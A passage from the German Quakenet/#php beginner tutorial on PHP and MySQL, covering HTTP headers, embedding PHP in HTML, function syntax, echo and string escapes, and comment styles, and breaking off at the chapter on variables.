Quakenet/#php Tutorial - Kompletter Inhalt

Einleitung

  1. Willkommen
  2. Voraussetzungen
  3. Aufbau des Tutorial
  4. Lizenz und Download des Tutorials

1. Willkommen

Dies ist das Quakenet/#php.de Tutorial über PHP und MySQL in der zweiten Version. Es ist komplett neu überarbeitet bzw. neu geschrieben. Es geht von einer PHP5-Version aus, auf Feinheiten der PHP4-Version wird nicht eingegangen, da es bereits veraltet ist.

2. Voraussetzungen

Bevor ihr dieses Tutorial durcharbeiten könnt braucht ihr einige Voraussetzungen.

  1. Da PHP-Skripte in der Regel HTML-Code ausgeben müsst ihr entsprechend HTML schreiben können. Hier empfehlen wir die Einführung in XHTML, CSS und Webdesign von Michael Jendryschik.

  2. Zum Schreiben der PHP-Skripte benötigt ihr einen Editor. Dazu eignen sich Plaintext-Editoren mit Syntaxhighlighting. Die sog. WYSIWYG-Editoren sind hingegen nicht zu empfehlen. Eine Liste von gängigen PHP-Editoren finden sie in der FAQ unter Ich suche einen guten PHP-Editor.

  3. Zum Testen der PHP-Skripte wird ein Webserver bzw. Webspace der PHP unterstützt benötigt. Dafür gibt es genügend kostenlose Webspaces wo die PHP-Skripte getestet werden können. Es ist auch möglich auf den Heim-PC ein Webserver mit PHP zu installieren und Lokal die Skripte testen. Dies ist mit Vorsicht zu genießen da beim Entwickeln leicht die Grenze zwischen Client und Server überschreitet und dann Skripte schreibt die auf die Bereiche des Clients zugreifen was später auf dem eigentlichen Webserver nicht mehr möglich ist.

3. Aufbau des Tutorial

Diese Tutorial ist wie üblich in Kapitel unterteilt. Jedes Kapitel enthält mehrere Unterpunkte. Alle Kapitel sind linear angeordnet, es gibt also eine feste Reihenfolge. Es ist nicht zu Empfehlen Kapitel zu überspringen da die Kapitel aufeinander aufbauen (siehe auch den Hinweis am Anfang der Seite).

Zu jedem Kapitel können Übungsfragen existieren. Mit diesen Fragen kann überprüft werden ob das Kapitel verstanden worden ist. Die Übungsfragen enthalten Verständnisfragen sowie auch Fragestellungen nach PHP-Lösungen.

Unter der URL total.html befindet sich eine komplette zusammenhängende Version des Tutorials. Dies kann verwendet werden um das Tutorial komplett auszudrucken anstatt das Tutorial kapitelweise auszudrucken. Beachten sie jedoch dass dieses Dokument sehr groß ist.

4. Lizenz und Download des Tutorials

Wir bieten zur Onlineversion des Tutorials auch eine Download-Version an. Diese Version enthält alle HTML/CSS-Dateien sowie alle Bilder des Tutorials.

Download von tut.php-quake.net.de.tar.gz

Es kamen häufige Anfragen wo das Tutorial wie benutzt werden darf und was damit bzw. was mit den Inhalt gemacht werden darf und was nicht. Als Grundlage darf verständlicherweise das Tutorial von der offiziellen Homepage http://tut.php-quake.net/ gelesen und die Download-Version auf seinen PC runterladen werden. Des Weiteren darf das Tutorial zu Lernzwecken in der realen Welt verwendet werden. Dies schließt z.B. Unterricht in der Schule, Fortbildungen von Mitarbeitern und Übungen/Seminare an Universitäten mit ein. Jedoch muss deutlich erkennbar sein dass es sich dabei um das Quakenet/#php-Tutorial handelt. Ein Ausgeben des Tutorials auf ein Speichermedium wie einer CD für die Schüler/Mitarbeiter/Studenten ist erlaubt. Fürs Internet dürfen Passagen des Tutorials mit Quellenangaben beliebig zitiert werden.

Es ist nicht erlaubt das Tutorial oder Teile des Tutorials als Mirror bereitzustellen. Dies betrifft die Online- sowie die Download-Version. Wenn sie ihre Besucher auf das Tutorial aufmerksam machen wollen können sie ein Link auf ihrer Homepage hinzufügen. Wenn sie Fragen bezüglich der Lizenz haben fragen sie einen Operator im Channel #php.de vom Quakenet.

Fragen zum Kapitel

1. Womit beginnt ein HTML-Dokument? <head>, <body> oder <html>?

Wenn sie jetzt <html> gesagt haben dann liegen sie falsch. HTML-Dokumente beginnen entweder mit einem DOCTYPE oder sogar mit einer XML-Deklaration. Wenn sie das nicht wussten sollten sie die Einführung in XHTML, CSS und Webdesign von Michael Jendryschik lesen.

Kommunikation zwischen Client und Server

  1. Was ist PHP und was macht es?
  2. Anfrage einer Datei aus der Sicht des Clients
  3. Anfrage einer Datei aus der Sicht des Servers

1. Was ist PHP und was macht es?

PHP ist das rekursive Backronym für PHP: Hypertext Preprocessor. Der Name deutet an, dass etwas vor einem Zeitpunkt verarbeitet wird. In diesem Fall werden die PHP-Befehle in einer Datei verarbeitet bevor der Server die Datei (bzw. dessen Ausgabe) sendet. Vergleichbar ist dies mit einem C-Präprozessor.

PHP ist ein Modul bzw. ein Programm, welches auf den Webserver installiert ist. In den meisten Fällen ist dann auch z.B. eine Datenbank wie MySQL installiert. Das folgende Diagramm veranschaulicht die installierten Programme/Module auf einem Webserver.

Installierte Module auf einem Webserver Abb.:Installierte Module auf einem Webserver

An dem Diagramm ist zu erkennen, dass PHP nichts mit dem Client bzw. mit dessem Browser zu tun hat. Somit ist es mit PHP auch nicht möglich den Client als solches zu steuern. Gewünschte Aktionen, wie Winamp zu steuern oder Programme (auf dem Client) zu starten, sind somit nicht möglich.

Eine typische Anwendung von PHP ist das Verarbeiten von Daten aus einem HTML-Formular, wenn diese an den Webserver geschickt werden. Diese PHP-Skripte können, da sie auf dem Webserver interpretiert werden, mit einer dort installierten Datenbank arbeiten und somit die Formulardaten in diese speichern. Dadurch ist es z.B. möglich mit PHP Newsscripte zu schreiben, die ihre Newsbeiträge aus einer Datenbank auslesen. Das Ergebnis eines solchen PHP-Skripts ist jedoch weiterhin ein normales HTML-Dokument. Der Browser erkennt somit gar nicht, dass der HTML-Code durch ein PHP-Skript erzeugt wurde (Der Benutzer erkennt natürlich die .php Endung in der URL). Dies heißt auch, dass die Benutzer nicht den PHP-Code lesen können.

2. Anfrage einer Datei aus der Sicht des Clients

Wenn der Client eine Datei vom Server anfragt sieht das vereinfacht wie folgt aus.

Client schickt eine Anfrage zum Server Abb.:Client schickt eine Anfrage zum Server

Aus der Sicht des Clients kriegt dieser dann eine Antwort vom Server.

Client bekommt die Antwort vom Server Abb.:Client bekommt die Antwort vom Server

Obwohl nur eine einzige Verbindung zwischen Client und Server besteht, bekommt der Client zwei logisch getrennte Inhalte.

  1. Zuerst werden zum Client diverse Headerangaben gesendet. Diese Angaben beschreiben den darauf folgenden Inhalt, sowie enthalten einige Informationen über den Server. Diese Daten sind für den Benutzer in erster Linie nicht sichtbar, wenn er eine Internetseite besucht. Für manche Browser existieren Extensions, mit denen sich diese Headerangaben anzeigen lassen können. Headerangaben können z.B. wie folgt aussehen:

    HTTP/1.1 200 OK
    Date: Mon, 26 Nov 2007 22:37:21 GMT
    Server: Apache
    Content-Type: text/html

    In PHP ist es möglich diese Headerangaben zu bearbeiten, bevor sie zum Client gesendet werden. Somit ist es möglich, dass ein PHP-Skript ein Bild generieren kann. Jedoch muss vorher der Content-Type geändert werden, z.B. auf Content-Type: image/png.

  2. Nach den Headerangaben wird der eigentliche Inhalt gesendet. Dieser enthält meistens HTML-Code, kann aber auch Binärdaten wie von einem PNG-Bild enthalten.

Mit PHP ist es möglich, beide Bereiche nach Belieben zu bearbeiten. Jedoch gibt es hier eine Einschränkung. Die Headerangaben müssen vor dem Inhalt gesendet werden (passiert automatisch mit der ersten Ausgabe). Wenn sie z.B. mit PHP einen Text ausgeben, können sie danach nicht mehr die Headerangaben ändern. Ein Versuch es trotzdem zu machen erzeugt eine Fehlermeldung der Form Cannot modify header information - headers already sent by (output started at ...).

3. Anfrage einer Datei aus der Sicht des Servers

Wenn der Server eine Anfrage auf eine HTML-Datei bekommt, so braucht der Server diese nur von seiner Festplatte zu laden und zum Client zu senden.

Server bekommt eine Anfrage von einem Client Abb.:Server bekommt eine Anfrage von einem Client

Da der Server auch diverse Headerangaben senden muss, erzeugt er aus der Datei von sich aus einige Headerangaben. Als Beispiel wird die Dateigröße angegeben, formal ist dies der Content-Length-Header. Die kompletten Header könnten wie folgt aussehen.

HTTP/1.1 200 OK
Date: Wed, 28 Nov 2007 16:34:05 GMT
Server: Apache
Last-Modified: Mon, 26 Nov 2007 23:24:33 GMT
ETag: "d9b8a-2301-43fdd444c0e40"
Accept-Ranges: bytes
Content-Length: 8961
Content-Type: text/html

Dahinter sendet der Server dann den HTML-Code der HTML-Datei und ist fertig mit seiner Arbeit.

Server sendet die Antwort zum Client Abb.:Server sendet die Antwort zum Client

Da der Server nichts großartiges machen muss, geschieht dies in der Regel sehr schnell. Interessanter wird die Sache, wenn der Client eine Anfrage auf eine Datei sendet und diese PHP-Code enthält.

Server bekommt eine Anfrage von einem Client Abb.:Server bekommt eine Anfrage von einem Client

Nun muss der Server den Inhalt der Datei laden. Dies ist gleich gegenüber einer normalen HTML-Datei.

Server läd den Inhalt der Datei Abb.:Server läd den Inhalt der Datei

Ab jetzt muss die Bearbeitung durch PHP geschehen. Da der Server nicht von sich aus PHP-Befehle verarbeiten kann, startet er den PHP-Interpreter. Dieser arbeitet nun die Befehle in der Datei entsprechend den Regeln einer Programmiersprache ab.

Server verarbeitet die PHP-Befehle mit einem PHP-Interpreter Abb.:Server verarbeitet die PHP-Befehle mit einem PHP-Interpreter

Am Ende hat dann der PHP-Interpreter bzw. ein PHP-Modul im Webserver die Datei verarbeitet. Nun stehen dem Server die zwei Bereiche Headerangaben und Inhalt vom PHP-Interpreter zur Verfügung. Diese werden nun zum Client gesendet.

Server sendet die Antwort zum Client Abb.:Server sendet die Antwort zum Client

Aus der Sicht des Clients hat sich also nichts geändert. Er bekommt gar nicht mit, dass auf den Server PHP installiert ist und das die angeforderte Datei PHP-Code enthielt. Was er bzw. der Besucher jedoch merkt ist ein Geschwindigkeitsverlust. Da PHP-Dateien erst durch den PHP-Interpreter laufen müssen, braucht der Server viel mehr Zeit (im Vergleich zu einfachen HTML-Dateien) um eine Antwort senden zu können.

Fragen zum Kapitel

1. Welche zwei Teile werden vom Server zum Client gesendet?

In einer HTTP-Verbindung werden die beiden Teile Headerangaben und Inhalt gesendet, und zwar in genau dieser Reihenfolge. Für den genauen Datentransfer zwischen den Client und Server existiert die Norm RFC 2616 - Hypertext Transfer Protocol -- HTTP/1.1, die dies genau festlegt.

Grundlagen

  1. Aufbau einer PHP-Datei
  2. Funktionen

1. Aufbau einer PHP-Datei

PHP-Code kann überall in HTML-Code eingebettet werden. Um in den PHP-Modus zu wechseln wird die Zeichenfolge <?php verwendet. Zum Verlassen des PHP-Modus wird die Zeichenfolge ?> verwendet. Alternativ ist es auch möglich den PHP-Interpreter gegen das Dateiende rennen zu lassen. Überall in der Datei kann in den PHP-Modus gewechselt werden, es ist sogar möglich den kompletten Dateiinhalt in den PHP-Modus zu setzen (Ganz vorne ein <?php, ganz hinten ein ?>). Damit der Server weiß dass es sich um eine PHP-Datei handelt, die entsprechend PHP-Befehle enthalten, haben PHP-Dateien die Dateiendungen .php. Dies ist die Standardeinstellung für einen Webserver mit PHP-Support, kann aber auch durch den Administrator geändert werden. Eine Datei könnte z.B. wie folgt aussehen:

<?php
echo "Beispiel einer PHP-Datei\n";
?>

Hier ist die komplette Datei im PHP-Modus. Wie angemerkt kann der PHP-Modus auch nur dort verwendet werden wo er gebraucht wird.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xml:lang="de" lang="de">
    <head>
        <title>Hi all</title>
    </head>
    <body>
        <?php
        
echo "<p>Der PHP Code</p>\n";
        
?>
    </body>
</html>

Text der sich außerhalb von PHP befindet (üblicherweise HTML-Code) wird als solches zum Client gesendet, ohne dass er vom PHP-Interpreter bearbeitet wird. Er kann aber auch durch PHP-Konstrukte wie Schleifen gesteuert werden.

Die zweite Variante eignet sich nicht zum Bearbeiten von Headerangaben. Mit den ersten Zeichen was als Inhalt gesendet wird (hier das < von <?xml version="1.0" encoding="utf-8"?>) werden auch die Header gesendet und sind somit weg. Es besteht keine Chance mehr diese mittels setcookie oder header zu bearbeiten.

Die XML-Deklaration kann auch ein Strich durch die Rechnung machen wenn mit PHP gearbeitet wird. Die XML-Deklaration beginnt mit der Zeichenkette <?xml. Dies ist zwar nicht gleich der Zeichenkette für PHP (<?php) jedoch gibt es eine PHP-Einstellung das die Zeichenkette <? auch für den PHP-Modus verwendet werden kann. Diese Einstellung nennt sich short_open_tag. Somit wird mit <?xml version="1.0" encoding="utf-8" ?> ungewollt in den PHP-Modus gewechselt. Daraus folgt dass der PHP-Interpreter Befehle bekommt die nicht für ihn bestimmt sind. Dieser kann dann die reine Zeichenfolge xml version="1.0" encoding="utf-8" nicht verarbeiten und erzeugt dann eine Fehlermeldung. Um das Problem zu umgehen kann die XML-Deklaration selbst mit PHP ausgegeben werden. Dies wird z.B. in der Beschreibung zu short_open_tag erklärt. Eine andere Möglichkeit wäre es einfach diese Einstellung zu deaktivieren.

2. Funktionen

Um PHP zu testen kann eine PHP-Datei mit den folgenden Inhalt angelegt werden.

<?php
phpinfo
();
?>

Dieser Inhalt wird in eine Datei namens phpinfo.php gespeichert und hochgeladen. Wenn diese Datei nun im Browser vom Webserver geöffnet wird gibt es zwei mögliche Ausgaben.

  1. Es wird eine reine leere Seite dargestellt. Dies ist der Fehlerfall. Hier muss folgendes Überprüft werden.

    • Die Datei besitzt eine Dateiendung .php damit der PHP-Interpreter sie als PHP-Datei erkennt.

    • Sie enthält gültigen PHP-Code.

    • Auf den Webserver ist PHP installiert und lauffähig.

    • Die Datei wird über eine http://-URL aufgerufen (Es ist ein beliebter Fehler beim lokalen testen die Datei über file://C|/... aufzurufen).

    Hier ist es ratsam sich den Quellcode anzugucken den der Server geschickt hat. Je nach Browser ist dies unter Ansicht -> Quellcode zu finden. Wenn dort der Inhalt der PHP-Datei zu sehen ist wurde die Datei nicht vom PHP-Interpreter verarbeitet.

  2. Im regulären Fall wird eine Seite angezeigt die nützliche Informationen über PHP anzeigt. Mit phpinfo ist es also möglich die Konfiguration von PHP zu betrachten. Dies ist also die erste Anlaufstelle um nachzugucken welche PHP-Module installiert sind und wie die Einstellungen zu PHP sind. Wichtig ist dabei z.B. die PHP Version, aber auch Einstellungen wie error_reporting und display_errors.

An diesem kleinen Beispiel ist der Aufbau eines Funktionsaufrufs zu sehen. Wenn eine Funktion aufrufen werden soll wird zuerst der Namen der Funktion geschrieben, hier phpinfo. Danach folgt eine geöffnete runde Klammer (. Nun können Parameter für diese Funktion folgen. Die Parameter verändern das Verhalten der Funktion entsprechend der Definition der Funktion im Handbuch. Wenn eine Funktion mehrere Parameter erwartet, werden diese untereinander mit einem Kommata (,) trennen. Nach den Parametern (falls vorhanden) wird die Parameterliste mit einer schließenden runden Klammer ) geschlossen. Diese Klammern müssen bei Funktionen immer angegeben werden, selbst wenn kein Parameter verwendet wird (wie im Beispiel oben). In PHP müssen Anweisungen (wie Funktionsaufrufe) mit einem Semikolon ; abgeschlossen werden. Ein einfacher Funktionsaufruf ist z.B. eine solche Anweisung, deswegen folgt hier ein Semikolon.

<?php
name_der_funktion
(parameter1,parameter2,...);
?>

Die einzelnen Teile eines Funktionsaufrufs können beliebig durch Leerzeichen getrennt werden. Um genauer zu sein können sie durch Whitespaces getrennt werden. Dies schließt Leerzeichen mit ein, enthalten aber auch Zeilenumbrüchen und Tabulatoren. Folgende Funktionsaufrufe sind alle gleichbedeutend.

<?php
name_der_funktion
(parameter1,parameter2);
name_der_funktion(parameter1parameter2);
name_der_funktion     (parameter1    ,parameter2)     ;
name_der_funktion(
    
parameter1,
    
parameter2);
name_der_funktion       (      parameter1      ,
    
parameter2
)             ;
                      
name_der_funktion        (parameter1,parameter2)         ;
?>

Es liegt am eigenen Programmierstil welche Schreibweise für einen selbst am besten lesbar ist. Im Bereich PHP gibt es diesbezüglich einen Standard, genannt PEAR Coding Standard. An diesem sollten sich PHP-Programmierer halten damit nicht nur ihr den Quellcode überblickt sondern auch derjeniger der nach euch den Code lesen und verstehen muss.

Fragen zum Kapitel

1. Welche Bedingungen müssen erfüllt sein damit eine PHP-Datei geparst wird?

Eine PHP-Datei wird geparst, wenn folgende Kriterien erfüllt sind

Ausgabe und Strings

  1. Strings ausgeben
  2. HTML-Code ausgeben
  3. Steuerzeichen in Strings

1. Strings ausgeben

Hauptziel eines PHP-Skriptes ist es, unabhängig von der Logik die dahintersteckt, eine Ausgabe zu erzeugen. Beispielweise eine Auflistung der Newsbeiträge. Um in einem PHP-Skript Texte auszugeben (ohne den PHP-Modus zu verlassen) wird üblicherweise der Sprachkonstrukt echo verwendet. Ein Beispiel könnte wie folgt aussehen.

<?php
echo 'Ein Text der ausgegeben wird';
?>

Das Erste was auffällt ist die Tatsache dass die Klammern der Funktion fehlen. Das liegt daran dass echo keine Funktion sondern ein spezieller Sprachkonstrukt ist. Das Manual sagt dazu folgendes.

echo() is not actually a function (it is a language construct), so you are not required to use parentheses with it.

Das Zweite ist dass der Text der ausgegeben werden soll innerhalb von zwei Apostrophs ' steht. Auf diese Weise wird (unabhängig von echo) eine Zeichenkette (Fachbegriff: String) mit dem entsprechenden Inhalt erzeugt. Dieser String dient dann als Parameter für den echo-Sprachkonstrukt und echo gibt diesen String aus. Wenn nun ein PHP-Skript mit diesem Code hochgeladen wird und das Skript aufruft so wird folgender Text ausgegeben.

Ein Text der ausgegeben wird

Fügen wir nun einen weiteren echo-Befehl in unser PHP-Skript ein.

<?php
echo 'Ein Text der ausgegeben wird';
echo 
'Nun folgt ein anderer Text';
?>

Wenn das Skript nun auf einem Webserver läuft wird folgender Text ausgegeben.

Ein Text der ausgegeben wirdNun folgt ein anderer Text

Der zweite String wurde hier einfach hinter den anderem String ausgegeben. Was anderes steht auch nicht im PHP-Skript. Einmal wurde ein String ausgegeben, dann ein weiterer String. Obwohl die beiden echo-Befehle mit einem Zeilenumbruch getrennt sind werden die Strings so wie sie sind ausgegeben. Um einen Zeilenumbruch in der Ausgabe zu haben können wir z.B. das HTML-Element <br/> benutzen.

2. HTML-Code ausgeben

HTML-Code bzw. die besonderen Zeichen < und > können in Strings ohne Probleme benutzt werden. Somit können wir am Ende des ersten Strings das HTML-Element <br/> anfügen.

<?php
echo 'Ein Text der ausgegeben wird<br/>';
echo 
'Nun folgt ein anderer Text';
?>

Wie erwartet steht im Browser den folgenden Inhalt.

Ein Text der ausgegeben wird
Nun folgt ein anderer Text

Wenn der Quellcode im Browser betrachtet wird stehen beide Strings weiterhin hintereinander.

Ein Text der ausgegeben wird<br/>Nun folgt ein anderer Text

3. Steuerzeichen in Strings

Wenn wir versuchen ein Apostroph innerhalb eines Strings zu schreiben erhalten wir ein Problem, da PHP das Ende des Strings fälschlicherweise zu früh erkennt.

<?php
echo 'Dummy Text ' mit Apostroph';
echo '
Ein weiterer Text;
?>

Auch an der Einfärbung erkennt man wie PHP den String nur bis zum 2. Apostroph erkennt. Um nun das Zeichen ' in den String zu kriegen kann man z.B. Double Quoted Strings verwenden. Das sind Strings die statt den Apostroph die Anführungszeichen " als Begrenzer benutzen.

<?php
echo "Dummy Text ' mit Apostroph";
echo 
"Ein weiterer Text";
?>

Eine andere Möglichkeit ist die eine Escape-Sequenz einzufügen. In PHP-Strings ist \ das Escape-Zeichen, es wird verwendet wenn man eine solche Escape-Sequenz haben möchte. In Single Quoted Strings (Strings mit ' als Begrenzer) wird mit \' ein Apostroph erzeugt.

<?php
echo 'Dummy Text \' mit Apostroph';
echo 
'Ein weiterer Text';
?>

Die gleiche Idee kann verwendet werden wenn man in double quoted Strings ein Anführungszeichen erzeugen will.

<?php
echo "Dummy Text \" mit Apostroph";
echo 
"Ein weiterer Text";
?>

Stellt sich nun die Frage wie man ein einzelnes \ erzeugt, ohne dass es gleich als Start einer Escape-Sequenz interpretiert wird. Die Lösung ist das Escapen des Escape-Zeichens.

<?php
echo "Double quoted mit \\ im Text";
echo 
'Single quoted mit \\ im Text';
?>

Obwohl single quoted und double quoted Strings scheinbar die selbe Funktionalität besitzen sind in double quoted Strings mehr Escape-Sequenzen möglich. Die folgende Tabelle enthält eine Liste der zusätzlichen Escape-Sequencen in double quoted Strings.

Tabelle der Escape-Sequencen
Zeichen Beschreibung
\n Ein Zeilenumbruch
\r Ein Wagenrücklauf, oft verwendet bei Netzwerkprotokollen.
\t Ein Tabulator
\v Vertikaler Tabulator, eher selten verwendet
\f Seitenvorschub, noch seltener verwendet
\$ Ein Dollarzeichen. Ohne diese Sequenz wird versucht eine Variable zu finden und dessen Inhalt einzufügen.
\0 bis \777 Ein Zeichen aus dem Bereich von 0x000 bis 0x1FF
\x0 bis \xFF Ein Zeichen aus dem Bereich von 0x00 bis 0xFF

Fragen zum Kapitel

1. Was für Strings gibt es in PHP?

In PHP gibt es 4 Arten von Strings, wobei hier 2 genannt wurden. Neben Double quoted Strings und Single quoted Strings gibt es auch noch sogenannte Heredocs und Nowdocs. Eine Erklärung von Strings ist im Handbuch von PHP unter Strings zu finden.

Kommentare

  1. Was sind Kommentare?
  2. Syntax von Kommentaren
  3. Auskommentieren

1. Was sind Kommentare?

In PHP werden Texte bzw. Textstellen die der PHP-Interpreter ignoriert als Kommentare bezeichnet. Dies ist Vergleichbar mit den HTML-Kommentaren mit der <!-- -->-Syntax. Somit kann man, wie der Name es schon sagt, Kommentare zum Skript schreiben bis hin zu einzelnen Hinweisen zu Zeilen im PHP-Skript hinzufügen. So kann z.B. ein Author seinen Namen und die Lizenzbestimmungen in seinem PHP-Skript hinterlassen, ohne dass der PHP-Interpreter sich darüber beschwert dass ungültiger PHP-Code im PHP-Skript steht.

2. Syntax von Kommentaren

In PHP gibt es 4 Arten von Kommentartypen, wobei meistens nur 3 von denen benutzt. Und von diesen drei gibt es zwei Kommentartypen die fast identisch sind. Daher wird nur zwischen zwei Klassen von Kommentartypen unterschieden. Einmal den einzeiligen Kommentaren und den mehrzeiligen Kommentaren.

  1. Bei den einzeiligen Kommentaren handelt es sich um Kommentare die bis zum Zeilenende oder ?> gelten. Solch ein einzeiliger Kommentar wird mit der Zeichenkette // eingeleitet (nicht zu verwechseln mit der String Escape-Sequenz \\). Der folgende Text wird dann als Kommentar behandelt und somit vom PHP-Interpreter ignoriert.

    <?php
    echo 'Text'// gib einen Text aus

    // Gebe nun einen weiteren Text aus
    echo 'weiterer Text';

    // echo 'ich werde nicht ausgegeben, da ich in einem Kommentar stehe';

    echo 'Ich werde ausgegeben, obwohl ich ein // im String enthalte';

    // kommentar läuft bis zum php-ende ?><?php echo 'ich bin nicht mehr im kommentar'?>

    An den Beispielen sieht man, dass nicht jedes // ein Kommentar ist, z.B. wenn es in einem String steht. Auch wird ?> als mögliches Ende erkannt.

  2. Mehrzeilige Kommentare definieren Kommentare die sich über mehrere Zeilen erstrecken können. Statt also in jeder Zeile am Anfang ein // zu schreiben wird ein Start- und Ende-Zeichen für einen mehrzeiligen Kommentar geschrieben. Ein mehrzeiliger Kommentar wird dabei mit /* gestartet und endet beim nächsten */.

    <?php
    echo "Wieder was ausgeben";
    /* Irgendein Kommentar der
    sich über mehrere
    Zeilen
    erstreckt bis zum
    entsprechenden stopzeichen */
    echo "Und wieder im PHP-Modus drin";
    ?>

    Für das Auge kann man diese Kommentare nun etwas lesbarer schreiben, so z.B. einige Zeilen einrücken.

    <?php
    echo "Wieder was ausgeben";
    /* Irgendein Kommentar der
       sich über mehrere
       Zeilen
       erstreckt bis zum
       entsprechenden stopzeichen */
    echo "Und wieder im PHP-Modus drin";
    ?>

    Dies kann man auch übertreiben und Kommentare noch besonders vorheben.

    <?php
    /***********************
     * Konfiguration laden *
     ***********************/
    echo "Config laden";
    ?>

    Hier sieht man auch, dass es nicht nötig ist Leerzeichen vor bzw. nach den Start- und End-Markierungen hinzuzufügen. Bei dieser Art der Kommentare kann das PHP-Ende ?> nicht mehr als Kommentarende erkannt werden.

  3. Die dritte Variante sind die Kommentare im PHPDoc Style. Diese sind fast identisch mit den mehrzeiligen Kommentare. Der Unterschied liegt an der Startmarkierung /** wobei das Leerzeichen am ende ein beliebiges Whitespace ist. Oft wird dabei ein Zeilenumbruch statt den Leerzeichen benutzen.

    <?php
    /**
    Ein Kommentar im PHPDoc Style
    */
    echo "wieder normaler php code";
    ?>

    Nun stellt man sich die Frage warum zwei unterschiedliche mehrzeilige Kommentare existieren wo die sich kaum Unterscheiden. Mit PHPDoc bezeichnet man spezielle Kommentare die dazu dienen bestimmte Teile im PHP-Skript zu Kommentieren. So schreibt man z.B. vor eigens definierten Funktionen einen solchen PHPDoc Kommentar der beschreibt wie diese Funktion arbeitet und was sie leistet.

    <?php
    /**
     * Gibt eine Zahl aus.
     *
     * Die folgende Funktion gibt die übergebene Zahl aus.
     *
     * @param i Die Zahl die ausgegeben werden soll.
     */
    function ausgeben($i) {
        
    // ...
    }
    ?>

    Der Aufbau eines solchen PHPDocs wird durch das phpDocumentor Projekt geregelt. Dies ist vergleichbar mit dem Javadoc Tool mit dem selben hintergedanken. Wenn nun solche PHPDoc-Kommentare in einem Quellcode einfügt werden, so können spezielle Programme (eben dieses PHPDoc) verwendet werden die diese PHPDoc-Kommentare auslesen und verarbeiten. Sie erstellen dann aus den Daten HTML-Seiten mit den Beschreibungen der Funktionen (und Klassen). Somit können fremde PHP-Autoren sich einfacher in den PHP-Quellcode einlesen und müssen nicht mehr oder weniger raten was eine Funktion machen soll sondern lesen einfach in den generierten HTML-Dateien die Beschreibungen nach.

3. Auskommentieren

Neben den Schreiben von Entwicklerhinweisen ist es auch möglich Kommentare für etwas zu nutzen was allgemein Auskommentieren genannt wird. Im Entwicklungsprozess möchte man z.B. manchmal PHP-Code deaktieren bzw. nicht ausführen lassen, unabhängig von eventuellen Benutzereingaben. Eine Möglichkeit wäre es den entsprechenden PHP-Code zu löschen. Aber dann ist er entsprechend nicht mehr vorhanden und muss wieder hingeschrieben werden wenn man ihn doch wieder braucht. Hingegen einfacher ist es den PHP-Code kurzerhand in einen Kommentar zu packen. Nehmen wir an wir hätten folgenden PHP-Code.

<?php
mach_was
();
mach_dies();
und_jenes();
?>

Wenn der Entwickler nun die Ausführung von mach_dies() kurz deaktiveren will kann er diesen in einen einzeiligen Kommentar schreiben.

<?php
mach_was
();
//mach_dies();
und_jenes();
?>

Wenn man nun mit seinen Tests des PHP-Skripts fertig ist so braucht er dann einfach die // Zeichen löschen. Für mehrere Zeilen kann man auch die mehrzeiligen Kommentare verwenden.

<?php
mach_was
();
/*
mach_dies();
und_jenes();
und_dies();
und_das();
*/
und_wieder_dies();
?>

Hier gibt es einen Trick wie man die Ausführung wieder schnell aktivieren kann, neben dem Löschen von /* und */. Dazu muss man zuerst vor dem */ ein // schreiben, also den Start eines einzeiligen Kommentars.

<?php
mach_was
();
/*
mach_dies();
und_jenes();
und_dies();
und_das();
//*/
und_wieder_dies();
?>

Um nun die Ausführung wieder zu aktivieren ersetzt man /* durch //*, formt das ganze zu einem einzeiligen Kommentar um.

<?php
mach_was
();
//*
mach_dies();
und_jenes();
und_dies();
und_das();
//*/
und_wieder_dies();
?>

Jetzt sieht man auch warum man vorhin die // bei */ einfügen musste. So wird sichergestellt dass kein ungültiger PHP-Code entsteht (gennant Parse Error). Wie man sieht existieren nun 2 einzeilige Kommentare. Wenn man nun wieder das //* durch /* ersetzt so wird das ganze wieder zu einem mehrzeiligen Kommentar bis zum */.

Da ein mehrzeiliger Kommentar mit einem */ endet ist es nicht möglich innerhalb des mehrzeiligen Kommentars die Zeichenkette */ zu verwendet. Dies mag trivial klingen jedoch ist dies eine beliebte Fehlerquelle bei Kommentaren, wenn versucht wird Kommentare zu schachteln. Dies macht man nicht bewusst sondern eher durch unbedachtheit. Wir nehmen folgenden PHP-Code an.

<?php
mach_dies
();
mach_das();
/*
deaktiviert();
deaktiviert2();
*/
und_dieses();
und_jenes();
?>

Nun möchte man einen größeren Block deaktivieren, z.B. von mach_das() bis und_dieses(). Naiv könnte man wieder einen mehrzeiligen Kommentar einfügen.

<?php
mach_dies
();
/*
mach_das();
/*
deaktiviert();
deaktiviert2();
*/
und_dieses();
*/
und_jenes();
?>

Bei diesem PHP-Code würde der PHP-Interpreter die Abarbeitung unterbrechen. Anhand der Färbung hier im Tutorial ist zu erkennen dass der äußere Kommentar nicht als solches erkannt wird. Jedoch aus Sicht von PHP ist alles logisch und sinnvoll. In Zeile 3 erkennt PHP den Beginn eines mehrzeiligen Kommentars und in Zeile 8 das Ende des mehrzeiligen Kommentars (nicht in Zeile 10 wie gewollt). Somit würde auch und_dieses() Ausgeführt werden. Jedoch scheitert der PHP-Interpreter schon am Parsen des Skripts, da er mit dem */ in Zeile 10 nichts anfangen kann, und quittiert die Abarbeitung mit einem Parse Error. Zwar erkennt man hier schnell den Fehler, aber bei größeren Programmcode kann sich so ein Parse Error einschleichen weil man zuerst einen kleineren Kommentar hat und darüber ein größeren Kommentar erzeugt.

Fragen zum Kapitel

1. Welche Kommentararten gibt es?

Es gibt insgesammt 4 Kommentararten, hier wurden jedoch nur 3 besprochen. Dies sind die einzeiligen Kommentare, mehrzeiligen Kommentare und PHPDoc Kommentare. Die 4. Möglichkeit sind einzeilige Kommentare die das Zeichen # statt // verwenden. Eine Beschreibung der Kommentare in PHP findet man im Handbuch unter Comments.

Variablen

  1. Was sind Variablen?
  2. Aufbau von Variablen
  3. Zuweisungsoperator

1. Was sind Variablen?

Üblicherweise dienen PHP-Skripte dazu eine Ausgabe dynamisch zu erzeugen. Die PHP-Skripte selbst sind jedoch konstant was deren Inhalt betrifft. Daher müssen wir im PHP-Skript etwas haben was dynamisch gefüllt werden kann. Dafür gibt es Variablen. Sie werden vom Skript entsprechend mit Daten gefüllt und können dann an anderere Stelle im Skript verwendet werden.

2. Aufbau von Variablen

